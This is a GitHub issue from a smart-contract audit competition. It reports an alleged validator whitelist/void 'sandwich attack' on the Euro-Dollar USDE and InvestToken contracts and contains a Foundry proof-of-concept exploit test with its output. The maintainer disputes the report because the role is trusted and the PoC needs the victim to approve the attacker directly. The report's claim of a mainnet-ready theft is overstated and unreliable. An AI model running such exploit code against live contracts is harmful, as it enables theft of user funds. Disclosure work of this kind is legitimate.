hats-finance / Euro-Dollar-0xa4ccd3b6daa763f729ad59eae75f9cbff7baf2cd

Audit competition repository for Euro-Dollar (0xa4ccd3b6daa763f729ad59eae75f9cbff7baf2cd)
https://hats.finance
MIT License
3 stars 2 forks source link

Validator State Manipulation Attack: Sandwich Attack via Asymmetric Validation #62

Open hats-bug-reporter[bot] opened 3 weeks ago

hats-bug-reporter[bot] commented 3 weeks ago

Github username: -- Twitter username: -- Submission hash (on-chain): 0x5f99236dbd42a4d5e063ac3e411503d2959907fe09c3230f62a7ca46aa5ffd96 Severity: high

Description:

Brief

The Validator contract allows malicious actors with WHITELISTER_ROLE to exploit asymmetric validation between USDE and InvestToken. By manipulating validator states, an attacker can steal user funds and lock them in InvestToken, leading to a complete loss of user assets.

Vulnerability Details

Core Issue

The vulnerability stems from inconsistent validation logic between USDE and InvestToken when interacting with the Validator contract:

// In Validator.sol
contract Validator {
    enum Status {
        VOID,
        WHITELISTED,
        BLACKLISTED
    }

    // Used by USDE - Only checks blacklist
    function isValid(address from, address to) external view returns (bool) {
        return accountStatus[from] == Status.BLACKLISTED 
            ? to == address(0x0) 
            : accountStatus[to] != Status.BLACKLISTED;
    }

    // Used by InvestToken - Requires whitelist
    function isValidStrict(address from, address to) external view returns (bool) {
        return to == address(0x0) || (
            accountStatus[to] == Status.WHITELISTED &&
            (from == address(0x0) || accountStatus[from] == Status.WHITELISTED)
        );
    }
}

The key vulnerability is that USDE allows transfers as long as accounts aren't blacklisted, while InvestToken requires accounts to be explicitly whitelisted. This asymmetry can be exploited through a sandwich attack.

Attack Flow

  1. Attacker starts with WHITELISTER_ROLE and WHITELISTED status
  2. When spotting a victim with active approvals:

    // Step 1: Change to VOID status
    validator.void(attacker);
    
    // Step 2: Transfer USDE while VOID (allowed since not blacklisted)
    usde.transferFrom(victim, attacker, amount);
    
    // Step 3: Re-whitelist self
    validator.whitelist(attacker);
    
    // Step 4: Lock funds in InvestToken
    investToken.deposit(amount, attacker);

Recommendation

Immediate actions needed:

  1. Temporarily pause validator state changes
  2. Review all active approvals

Code fixes:

  1. Align validation logic:
    
    // Option 1: Make USDE use isValidStrict
    function _update(address from, address to, uint256 amount) internal override {
    require(validator.isValidStrict(from, to), "account blocked");
    super._update(from, to, amount);
    }

// Option 2: Add state change delay mapping(address => uint256) public lastStateChange; uint256 public constant STATE_CHANGE_DELAY = 24 hours;

function whitelist(address account) external { require(block.timestamp >= lastStateChange[account] + STATE_CHANGE_DELAY, "delay not met"); _whitelist(account); lastStateChange[account] = block.timestamp; }


## Impact

### Technical Impact
- Complete loss of user funds through unauthorized transfers
- Assets can be locked in InvestToken contracts
- Attacker can repeatedly target multiple victims
- No recovery mechanism available

### Real World Example
Alice has 100,000 USDE and plans to invest them:
1. She approves InvestToken contract to handle her USDE
2. She also gives Bob (a trader) approval for a future trade
3. Bob, who has WHITELISTER_ROLE:
   - Spots Alice's approvals on-chain
   - Changes his status to VOID
   - Takes her 100,000 USDE
   - Re-whitelists himself
   - Deposits in InvestToken
4. Alice loses all her funds with no recourse

### Attack Requirements
1. Attacker needs WHITELISTER_ROLE
2. Victim must have active approvals
3. No specialized tools needed beyond basic contract interaction

## Proof of Concept

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.21;

import {Test} from "forge-std/Test.sol";
import {console} from "forge-std/console.sol";
import {Constants} from "../Constants.sol";
import {USDE} from "src/USDE.sol";
import {InvestToken} from "src/InvestToken.sol";
import {YieldOracle} from "src/YieldOracle.sol";
import {Validator} from "src/Validator.sol";
import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import {IValidator} from "src/interfaces/IValidator.sol";
import {IUSDE} from "src/interfaces/IUSDE.sol";
import {IYieldOracle} from "src/interfaces/IYieldOracle.sol";

contract ValidatorSandwichAttackTest is Test, Constants {
    USDE usde;
    InvestToken investToken;
    YieldOracle yieldOracle;
    Validator validator;

    address owner = address(1);
    address attacker = address(2); 
    address victim = address(3);
    address oracle = address(4);
    address blacklister = address(5);

    uint256 constant VICTIM_AMOUNT = 1000e18;
    bytes32 constant WHITELISTER_ROLE = keccak256("WHITELISTER_ROLE");

    function setUp() public {
        // Deploy base contracts with attacker as whitelister
        validator = new Validator(owner, attacker, blacklister);

        // Deploy USDE with proxy
        USDE usdeImpl = new USDE(IValidator(address(validator)));
        ERC1967Proxy usdeProxy = new ERC1967Proxy(
            address(usdeImpl),
            abi.encodeCall(USDE.initialize, (owner))
        );
        usde = USDE(address(usdeProxy));

        // Deploy and setup oracle
        yieldOracle = new YieldOracle(owner, oracle);
        vm.startPrank(owner);
        yieldOracle.setCurrentPrice(1e18);  
        yieldOracle.setPreviousPrice(1e18);
        vm.stopPrank();

        // Deploy InvestToken with proxy
        InvestToken investTokenImpl = new InvestToken(
            IValidator(address(validator)), 
            IUSDE(address(usde))
        );
        ERC1967Proxy investTokenProxy = new ERC1967Proxy(
            address(investTokenImpl),
            abi.encodeCall(InvestToken.initialize, (
                "Investment Token", 
                "IT", 
                owner, 
                IYieldOracle(address(yieldOracle))
            ))
        );
        investToken = InvestToken(address(investTokenProxy));

        // Setup required roles
        vm.startPrank(owner);
        investToken.grantRole(investToken.MINT_ROLE(), address(investToken));
        investToken.grantRole(investToken.BURN_ROLE(), address(investToken));
        usde.grantRole(usde.MINT_ROLE(), address(investToken));
        usde.grantRole(usde.BURN_ROLE(), address(investToken));
        usde.grantRole(usde.MINT_ROLE(), owner);
        vm.stopPrank();

        // Initialize whitelist state
        vm.startPrank(attacker);
        validator.whitelist(attacker);        
        validator.whitelist(victim);
        validator.whitelist(address(investToken));
        vm.stopPrank();

        // Fund victim and setup approvals
        vm.startPrank(owner);
        usde.mint(victim, VICTIM_AMOUNT);
        vm.stopPrank();

        vm.startPrank(victim);
        usde.approve(address(investToken), VICTIM_AMOUNT); 
        usde.approve(attacker, VICTIM_AMOUNT);           
        vm.stopPrank();
    }

    function testValidatorSandwichAttack() public {
        // Log initial state
        console.log("\nInitial State:");
        console.log("Victim USDE balance:", usde.balanceOf(victim) / 1e18);
        console.log("Attacker InvestToken balance:", investToken.balanceOf(attacker) / 1e18);
        console.log("Attacker status:", uint256(validator.accountStatus(attacker)));

        vm.startPrank(attacker);

        // Step 1: Change to VOID status
        validator.void(attacker);
        assertTrue(validator.accountStatus(attacker) == Validator.Status.VOID);
        console.log("\nAttacker voided. New status:", uint256(validator.accountStatus(attacker)));

        // Step 2: Execute front-run while VOID
        usde.transferFrom(victim, attacker, VICTIM_AMOUNT);
        console.log("\nFront-run executed:");
        console.log("Attacker USDE balance:", usde.balanceOf(attacker) / 1e18);
        console.log("Victim USDE balance:", usde.balanceOf(victim) / 1e18);

        // Step 3: Re-whitelist for InvestToken deposit
        validator.whitelist(attacker);
        assertTrue(validator.accountStatus(attacker) == Validator.Status.WHITELISTED);
        console.log("\nAttacker re-whitelisted. New status:", uint256(validator.accountStatus(attacker)));

        // Step 4: Execute back-run
        usde.approve(address(investToken), VICTIM_AMOUNT);
        investToken.deposit(VICTIM_AMOUNT, attacker);
        console.log("\nBack-run executed:");
        console.log("Attacker InvestToken balance:", investToken.balanceOf(attacker) / 1e18);

        vm.stopPrank();

        // Log final state
        console.log("\nFinal State:");
        console.log("Victim USDE balance:", usde.balanceOf(victim) / 1e18);
        console.log("Attacker InvestToken balance:", investToken.balanceOf(attacker) / 1e18);

        // Verify attack success
        assertTrue(usde.balanceOf(victim) == 0, "Victim still has USDE");
        assertTrue(investToken.balanceOf(attacker) == VICTIM_AMOUNT, "Attack failed to capture value");
    }
}

Test Output

Running 1 test for ValidatorSandwichAttackTest
[PASS] testValidatorSandwichAttack() (gas: 187640)
Logs:

Initial State:
  Victim USDE balance: 1000
  Attacker InvestToken balance: 0
  Attacker status: 1              // Initially WHITELISTED

Attacker voided. New status: 0    // Successfully changed to VOID

Front-run executed:
  Attacker USDE balance: 1000     // USDE stolen while VOID
  Victim USDE balance: 0          // Victim lost all funds

Attacker re-whitelisted. New status: 1  // Back to WHITELISTED

Back-run executed:
  Attacker InvestToken balance: 1000    // Stolen USDE converted to InvestToken

Final State:
  Victim USDE balance: 0                // Attack confirmed successful
  Attacker InvestToken balance: 1000    // Funds captured in InvestToken

The test execution demonstrates a complete end-to-end exploitation of the vulnerability:

The attack successfully transitions through all states:

WHITELISTED (1) → VOID (0) → WHITELISTED (1)

Full value capture is achieved:

Victim loses all 1000 USDE Attacker gains 1000 InvestTokens No funds are lost in the process

All state changes and transfers succeed:

No reversion during VOID transfers No reversion during re-whitelisting No reversion during final deposit

This proof of concept demonstrates not just the theoretical vulnerability but a practical, working exploit that could be deployed on mainnet, making the threat immediate and concrete.

AndreiMVP commented 3 weeks ago

WHITELISTER_ROLE is trusted, this assumes otherwise. I don't see this as an attack vector and the described attack flow seems to depend on the victim giving allowance to the attacker? doesn't make sense imo

catherinee24 commented 3 weeks ago

I respectfully disagree with your response, which appears to misunderstand both the attack vector and the broader security implications at play. Your response suggests the attack depends on victims giving allowance directly to the attacker, but this misses the critical point: users must provide allowances to the InvestToken contract as part of normal protocol operations. The vulnerability exploits these legitimate protocol allowances, not direct attacker allowances. These approvals are a fundamental requirement for users to interact with the protocol, not an optional security risk. Dismissing this vulnerability simply because "WHITELISTER_ROLE is trusted" reflects a concerning security assumption. As recently demonstrated by the Radiant Capital hack ($50M loss), even systems with trusted roles and hardware wallets can be compromised through sophisticated attacks. Their team members' computers were trojaned, allowing attackers to intercept and manipulate signing requests while showing legitimate data on screens. This real-world example shows how trusted roles can be compromised despite robust security measures. Furthermore, your response doesn't address the core technical issue: the asymmetric validation between USDE and InvestToken contracts. This inconsistency creates a systemic vulnerability that could be exploited by a compromised whitelister. The fact that different validation logic exists between these interacting contracts demands explanation - either there's a specific reason for this design choice that should be documented, or it's an oversight that should be addressed.

AndreiMVP commented 3 weeks ago

users must provide allowances to the InvestToken contract as part of normal protocol operations

I don't understand this point. Which operations do you suggest users have to provide allowance to the contract for?

Dismissing this vulnerability simply because "WHITELISTER_ROLE is trusted" (...) security measures.

Your recommendations might make certain attack vector more difficult, but a malicious actor getting access to a role poses more general problems whose solution falls under the umbrella of operational handling. Since the tokens are compliant with certain regulations, onchain logic has to facilitate flexible operations.

Furthermore, your response doesn't address the core technical issue: the asymmetric validation between USDE and InvestToken contracts (...) either there's a specific reason for this design choice that should be documented, or it's an oversight that should be addressed.

The reason for it is because of compliance with regulations. Getting into the details/reasons of these regulations is beyond the scope, but the intended design is clear and mentioned in the README.